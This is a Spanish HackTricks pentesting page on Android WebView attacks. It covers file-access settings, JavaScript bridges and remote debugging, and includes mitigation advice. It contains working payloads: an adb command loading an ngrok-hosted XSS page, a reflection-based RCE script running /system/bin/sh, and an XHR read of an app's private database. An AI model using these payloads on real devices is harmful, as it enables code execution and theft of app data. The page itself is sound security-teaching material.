hacktricks/mobile-pentesting/android-app-pentesting/webview-attacks.md

218 lines
18 KiB
Markdown
Raw Normal View History

# Ataques a WebView
2023-06-05 18:33:24 +00:00
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
## Configuraciones interesantes
Puedes identificar un WebView expuesto de esta manera:
2023-06-05 18:33:24 +00:00
<figure><img src="../../.gitbook/assets/image (718).png" alt=""><figcaption></figcaption></figure>
### Acceso a archivos
El acceso a archivos de _WebView_ está habilitado de forma predeterminada. Desde la API 3 (Cupcake 1.5), el método [_setAllowFileAccess()_](https://developer.android.com/reference/android/webkit/WebSettings.html#setAllowFileAccess\(boolean\)) está disponible para habilitarlo o deshabilitarlo explícitamente.\
Si la aplicación tiene el permiso \_**android.permission.READ\_EXTERNAL\_STORAGE** \_, podrá leer y cargar archivos **desde el almacenamiento externo**.\
2023-06-05 18:33:24 +00:00
El _WebView_ necesita usar un esquema de URL de archivo, por ejemplo, `file://path/file`, para acceder al archivo.
#### Acceso universal desde URL de archivo (obsoleto)
2023-06-05 18:33:24 +00:00
> Establece si se deben permitir **solicitudes entre dominios** en el **contexto de una URL de esquema de archivo** para acceder a **contenido desde cualquier origen**. Esto incluye **acceso a contenido desde otras URL de esquema de archivo o contextos web**. Tenga en cuenta que algunos accesos, como los elementos HTML de imagen, no siguen las reglas de mismo origen y no se ven afectados por esta configuración.
2023-06-05 18:33:24 +00:00
>
> **No** habilite esta configuración si abre archivos que pueden ser creados o modificados por fuentes externas. Habilitar esta configuración permite que los scripts maliciosos cargados en un contexto `file://` lancen ataques de scripting entre sitios, ya sea **accediendo a archivos locales arbitrarios**, incluidas las cookies de WebView, los datos privados de la aplicación o incluso las credenciales utilizadas en sitios web arbitrarios.
2023-06-05 18:33:24 +00:00
En resumen, esto **evitará la carga de orígenes arbitrarios**. La aplicación enviará la solicitud de URL para cargar el contenido con **`Origin: file://`** si la respuesta no permite ese origen (**`Access-Control-Allow-Origin: file://`**), entonces el contenido no se cargará.\
El **valor predeterminado es `false`** al apuntar a [`Build.VERSION_CODES.JELLY_BEAN`](https://developer.android.com/reference/android/os/Build.VERSION\_CODES#JELLY\_BEAN) y versiones superiores.
2023-06-05 18:33:24 +00:00
* Usa [`getAllowUniversalAccessFromFileURLs()`](https://developer.android.com/reference/android/webkit/WebSettings#getAllowUniversalAccessFromFileURLs\(\)) para saber si JavaScript que se ejecuta en el contexto de una URL de esquema de archivo puede acceder a contenido desde cualquier origen (si UniversalAccessFromFileURL está habilitado).
* Usa [`setAllowUniversalAccessFromFileURLs(boolean)`](https://developer.android.com/reference/android/webkit/WebSettings#setAllowUniversalAccessFromFileURLs\(boolean\)) para habilitar/deshabilitar esto.
2023-06-05 18:33:24 +00:00
{% hint style="info" %}
Usar **`loadDataWithBaseURL()`** con `null` como baseURL también **evitará la carga de archivos locales**, incluso si todas las configuraciones peligrosas están habilitadas.
2023-06-05 18:33:24 +00:00
{% endhint %}
#### Acceso a archivos desde URL de archivo (obsoleto) <a href="#getallowfileaccessfromfileurls" id="getallowfileaccessfromfileurls"></a>
2023-06-05 18:33:24 +00:00
> Establece si se deben permitir solicitudes entre dominios en el contexto de una URL de esquema de archivo para acceder a contenido desde otras URL de esquema de archivo. Tenga en cuenta que algunos accesos, como los elementos HTML de imagen, no siguen las reglas de mismo origen y no se ven afectados por esta configuración.
2023-06-05 18:33:24 +00:00
>
> **No** habilite esta configuración si abre archivos que pueden ser creados o modificados por fuentes externas. Habilitar esta configuración permite que los scripts maliciosos cargados en un contexto `file://` accedan a archivos locales arbitrarios, incluidas las cookies de WebView y los datos privados de la aplicación.
2023-06-05 18:33:24 +00:00
En resumen, esto evita que JavaScript acceda a archivos locales a través del protocolo `file://`.\
Ten en cuenta que **el valor de esta configuración se ignora** si el valor de [`getAllowUniversalAccessFromFileURLs()`](https://developer.android.com/reference/android/webkit/WebSettings#getAllowUniversalAccessFromFileURLs\(\)) es `true`.\
El **valor predeterminado es `false`** al apuntar a [`Build.VERSION_CODES.JELLY_BEAN`](https://developer.android.com/reference/android/os/Build.VERSION\_CODES#JELLY\_BEAN) y versiones superiores.
2023-06-05 18:33:24 +00:00
* Usa [`getAllowFileAccessFromFileURLs()`](https://developer.android.com/reference/android/webkit/WebSettings#getAllowFileAccessFromFileURLs\(\)) para saber si JavaScript se está ejecutando en el contexto de una URL de esquema de archivo y puede acceder a contenido desde otras URL de esquema de archivo.
* Usa [`setAllowFileAccessFromFileURLs(boolen)`](https://developer.android.com/reference/android/webkit/WebSettings#setAllowFileAccessFromFileURLs\(boolean\)) para habilitar/deshabilitar esto.
#### Acceso a archivos
2023-06-05 18:33:24 +00:00
> Habilita o deshabilita el **acceso a archivos dentro de WebView**. Ten en cuenta que esto habilita o deshabilita solo el acceso al sistema de archivos. Los activos y recursos siguen siendo accesibles utilizando file:///android\_asset y file:///android\_res.
En resumen, si está deshabilitado, WebView no podrá cargar un archivo local con el protocolo `file://`.\
El **valor predeterminado es `false`** al apuntar a [`Build.VERSION_CODES.R`](https://developer.android.com/reference/android/os/Build.VERSION\_CODES#R) y versiones superiores.
2023-06-05 18:33:24 +00:00
* Usa [`getAllowFileAccess()`](https://developer.android.com/reference/android/webkit/WebSettings#getAllowFileAccess\(\)) para saber si la configuración está habilitada.
* Usa [`setAllowFileAccess(boolean)`](https://developer.android.com/reference/android/webkit/WebSettings#setAllowFileAccess\(boolean\)) para habilitar/deshabilitarla.
2023-06-05 18:33:24 +00:00
#### WebViewAssetLoader
2023-06-05 18:33:24 +00:00
> Clase auxiliar para cargar archivos locales, incluidos los activos estáticos y recursos de la aplicación, utilizando URL http(s):// dentro de una clase [`WebView`](https://developer.android.com/reference/android/webkit/WebView.html). Cargar archivos locales utilizando URLs similares a la web en lugar de `"file://"` es deseable ya que es compatible con la política de mismo origen.
2023-06-05 18:33:24 +00:00
Esta es la nueva forma recomendada de cargar archivos locales. El objetivo es **acceder a archivos locales utilizando una URL HTTP con el dominio**. De esta manera, se puede mantener **fácilmente** la política de mismo origen entre las **páginas web** locales y las **páginas web** que se descargan desde el servidor web.
2023-06-05 18:33:24 +00:00
### JavaScript habilitado
2023-06-05 18:33:24 +00:00
Los WebViews tienen JavaScript **deshabilitado de forma predeterminada**. El método [`setJavaScriptEnabled()`](https://developer.android.com/reference/android/webkit/WebSettings.html#setJavaScriptEnabled\(boolean\)) se puede utilizar para habilitarlo o deshabilitarlo explícitamente.\
Ten en cuenta que los webviews también pueden admitir el **esquema `intent`** que permite ejecutar otras aplicaciones. Lee este [artículo para saber cómo pasar de XSS a RCE](https://medium.com/@dPhoeniixx/tiktok-for-android-1-click-rce-240266e78105).
2023-06-05 18:33:24 +00:00
Aquí tienes un ejemplo de un webview expuesto vulnerable a XSS a través del parámetro "support\_url" (que puede indicar la URL a cargar en el webview):
2023-06-05 18:33:24 +00:00
<figure><img src="../../.gitbook/assets/image (719).png" alt="" width="563"><figcaption></figcaption></figure>
2023-06-05 18:33:24 +00:00
Es posible explotar esa vulnerabilidad desde adb con algo como:
{% code overflow="wrap" %}
```bash
adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView es support_url "https://6333-157-48-216-175.ngrok-free.app/xss.html"
```
{% endcode %}
2023-06-05 18:33:24 +00:00
### Puente de JavaScript
2023-06-05 18:33:24 +00:00
Android ofrece una forma para que el JavaScript ejecutado en un WebView llame y utilice **funciones nativas de una aplicación de Android** (anotadas con `@JavascriptInterface`) mediante el uso del método [`addJavascriptInterface`](https://developer.android.com/reference/android/webkit/WebView.html#addJavascriptInterface%28java.lang.Object,%20java.lang.String%29). Esto se conoce como un _puente de JavaScript de WebView_ o _puente nativo_.
2023-06-05 18:33:24 +00:00
Ten en cuenta que **cuando utilizas `addJavascriptInterface`, estás otorgando explícitamente acceso al objeto de la Interfaz de JavaScript registrada a todas las páginas cargadas dentro de ese WebView**. Esto implica que, si el usuario navega fuera de tu aplicación o dominio, todas las demás páginas externas también tendrán acceso a esos objetos de la Interfaz de JavaScript, lo que podría representar un riesgo de seguridad potencial si se expone algún dato sensible a través de esas interfaces.
> Advertencia: Ten mucho cuidado con las aplicaciones dirigidas a versiones de Android anteriores a Android 4.2 (nivel de API 17), ya que son [vulnerables a una falla](https://labs.mwrinfosecurity.com/blog/webview-addjavascriptinterface-remote-code-execution/) en la implementación de `addJavascriptInterface`: un ataque que abusa de la reflexión, lo que lleva a la ejecución de código remoto cuando se inyecta JavaScript malicioso en un WebView. Esto se debió a que todos los métodos de objetos Java eran accesibles de forma predeterminada (en lugar de solo aquellos anotados).
#### Análisis estático
2023-06-05 18:33:24 +00:00
```javascript
//Class with a method to access a secret
public class JavascriptBridge {
// Since Android 4.2 (JELLY_BEAN_MR1, API 17) methods
// not annotated with @JavascriptInterface are not visible from JavaScript
@JavascriptInterface
public String getSecret() {
return "SuperSecretPassword";
};
2023-06-05 18:33:24 +00:00
}
```
```javascript
//Enabling Javascript Bridge exposing an object of the JavascriptBridge class
webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge");
webView.reload();
```
```markup
<!-- Exploit to get the secret from JavaScript -->
<script>alert(javascriptBridge.getSecret());</script>
```
Con acceso al código JavaScript, por ejemplo, a través de un ataque de **XSS** almacenado, un ataque **MITM** o un **sitio web malicioso** que se carga dentro del WebView, se puede llamar directamente a los métodos Java expuestos.
2023-06-05 18:33:24 +00:00
{% hint style="info" %}
Tenga en cuenta que, en el caso de intentar explotar esta vulnerabilidad a través de una **Redirección Abierta a una página web del atacante que accede al Objeto Nativo de Android**, si el acceso a la redirección se realiza a través de un **navegador móvil** y **no se utiliza** el mismo WebView, el **navegador no podrá acceder al objeto nativo de Android**.
2023-06-05 18:33:24 +00:00
{% endhint %}
Si es necesario utilizar `addJavascriptInterface`, tenga en cuenta las siguientes consideraciones:
* Solo se debe permitir que el **JavaScript proporcionado con el APK** utilice los puentes, por ejemplo, verificando la URL en cada método Java conectado (a través de `WebView.getUrl`).
* No se debe cargar **JavaScript desde puntos finales remotos**, por ejemplo, manteniendo la navegación de páginas dentro de los dominios de la aplicación y abriendo todos los demás dominios en el navegador predeterminado (por ejemplo, Chrome, Firefox).
2023-06-05 18:33:24 +00:00
* Si es necesario por razones de compatibilidad (por ejemplo, tener que admitir dispositivos más antiguos), **al menos establezca el nivel de API mínimo en 17** en el archivo de manifiesto de la aplicación (`<uses-sdk android:minSdkVersion="17" />`).
### Puente de JavaScript a RCE a través de Reflexión
2023-06-05 18:33:24 +00:00
Como se señala en [**esta investigación**](https://labs.withsecure.com/archive/webview-addjavascriptinterface-remote-code-execution/) (_consultarla para obtener ideas en caso de obtener RCE_), una vez que se encuentra un JavascriptBridge, es posible obtener **RCE** a través de **Reflexión** utilizando una carga útil como la siguiente:
2023-06-05 18:33:24 +00:00
```markup
<!-- javascriptBridge is the name of the Android exposed object -->
<script>
function execute(cmd){
return javascriptBridge.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec(cmd);
2023-06-05 18:33:24 +00:00
}
execute(['/system/bin/sh','-c','echo \"mwr\" > /mnt/sdcard/mwr.txt']);
</script>
```
Sin embargo, las aplicaciones modernas pueden usar la anotación **`@JavascriptInterface`** que indica al JavascriptBridge que solo el método con esta anotación debe ser expuesto. En ese escenario, no podrás abusar de la Reflexión para ejecutar código arbitrario.
2023-06-05 18:33:24 +00:00
### Depuración remota
2023-06-05 18:33:24 +00:00
La **depuración remota de WebView** permite acceder al WebView con las **Herramientas de desarrollo de Chrome**. El dispositivo debe ser accesible desde la PC (a través de USB, emulador local, red local...) y ejecutar el WebView depurable, luego acceder a **chrome://inspect/#devices**:
2023-06-05 18:33:24 +00:00
![](<../../.gitbook/assets/image (525).png>)
Selecciona **inspeccionar** y se abrirá una nueva ventana. En esta ventana, puedes **interactuar con el contenido** del WebView e incluso hacer que ejecute código JS arbitrario desde la pestaña de la **consola**:
2023-06-05 18:33:24 +00:00
![](<../../.gitbook/assets/image (526).png>)
Para habilitar la **depuración remota de WebView**, puedes hacer algo como:
2023-06-05 18:33:24 +00:00
```java
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
WebView.setWebContentsDebuggingEnabled(true);
2023-06-05 18:33:24 +00:00
}
```
**Esta configuración se aplica a todos los WebViews de la aplicación.**
{% hint style="info" %}
**La depuración de WebView no se ve afectada por el estado de la bandera `debuggable`** en el manifiesto de la aplicación. Si deseas habilitar la depuración de WebView solo cuando `debuggable` es `true`, prueba la bandera en tiempo de ejecución.
2023-06-05 18:33:24 +00:00
{% endhint %}
```java
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
{ WebView.setWebContentsDebuggingEnabled(true); }
2023-06-05 18:33:24 +00:00
}
```
## Cargas útiles
### Exfiltrar archivos arbitrarios
Las aplicaciones de Android a menudo utilizan la funcionalidad WebView para mostrar contenido web dentro de la aplicación. Sin embargo, esta funcionalidad puede ser explotada para exfiltrar archivos arbitrarios del dispositivo.
2023-06-05 18:33:24 +00:00
#### Técnica
1. Identificar la URL de destino donde se enviarán los archivos exfiltrados.
2. Crear un archivo HTML malicioso que contenga un formulario para cargar archivos y enviarlos a la URL de destino.
3. Inyectar el archivo HTML malicioso en la WebView de la aplicación objetivo.
4. Cuando el usuario interactúa con el formulario y carga un archivo, el archivo se enviará a la URL de destino especificada.
5. Verificar que los archivos se hayan exfiltrado correctamente.
#### Consideraciones
- Asegúrese de que la aplicación objetivo permita la carga de archivos a través de WebView.
- Verifique que la URL de destino sea accesible y esté configurada correctamente para recibir los archivos exfiltrados.
- Tenga en cuenta que esta técnica puede ser detectada por soluciones de seguridad que monitorean el tráfico de red saliente.
2023-06-05 18:33:24 +00:00
```javascript
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
alert(xhr.responseText);
}
2023-06-05 18:33:24 +00:00
}
xhr.open('GET', 'file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db', true);
xhr.send(null);
```
## Referencias
2023-06-05 18:33:24 +00:00
{% embed url="https://github.com/authenticationfailure/WheresMyBrowser.Android" %}
{% embed url="https://developer.android.com/reference/android/webkit/WebView" %}
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
2023-06-05 18:33:24 +00:00
</details>